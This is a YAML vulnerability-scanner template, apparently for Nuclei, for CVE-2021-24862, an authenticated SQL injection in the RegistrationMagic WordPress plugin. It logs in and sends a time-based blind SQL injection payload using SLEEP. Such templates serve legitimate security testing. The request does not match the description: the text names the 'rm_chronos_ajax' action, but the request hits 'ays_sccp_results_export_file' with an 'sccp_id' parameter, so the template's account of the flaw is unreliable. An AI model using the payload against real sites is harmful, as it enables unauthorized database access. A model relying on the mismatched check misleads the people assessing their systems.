id: CVE-2021-24862 info: name: RegistrationMagic < 5.0.1.6 - Admin+ SQL Injection author: theamanrawat severity: high description: | The RegistrationMagic WordPress plugin before 5.0.1.6 does not escape user input in its rm_chronos_ajax AJAX action before using it in a SQL statement when duplicating tasks in batches, which could lead to a SQL injection issue. reference: - https://wpscan.com/vulnerability/7d3af3b5-5548-419d-aa32-1f7b51622615 - https://wordpress.org/plugins/custom-registration-form-builder-with-submission-manager/ - https://nvd.nist.gov/vuln/detail/CVE-2021-24862 remediation: Fixed in version 5.0.1.6 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H cvss-score: 7.2 cve-id: CVE-2021-24862 cwe-id: CWE-89 metadata: verified: "true" tags: wp-plugin,cve2021,sqli,wordpress,wp,registrationmagic,authenticated,wpscan,cve requests: - raw: - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded log={{username}}&pwd={{password}}&wp-submit=Log+In - | @timeout: 10s GET /wp-admin/admin-ajax.php?action=ays_sccp_results_export_file&sccp_id[]=3)%20AND%20(SELECT%205921%20FROM%20(SELECT(SLEEP(6)))LxjM)%20AND%20(7754=775&type=json HTTP/1.1 Host: {{Hostname}} - | GET /wp-content/plugins/custom-registration-form-builder-with-submission-manager/admin/js/script_rm_utilities.js HTTP/1.1 Host: {{Hostname}} cookie-reuse: true matchers: - type: dsl dsl: - 'duration_2>=6' - 'status_code_2 == 200' - 'contains(body_3, "rm_user_role_mananger_form")' condition: and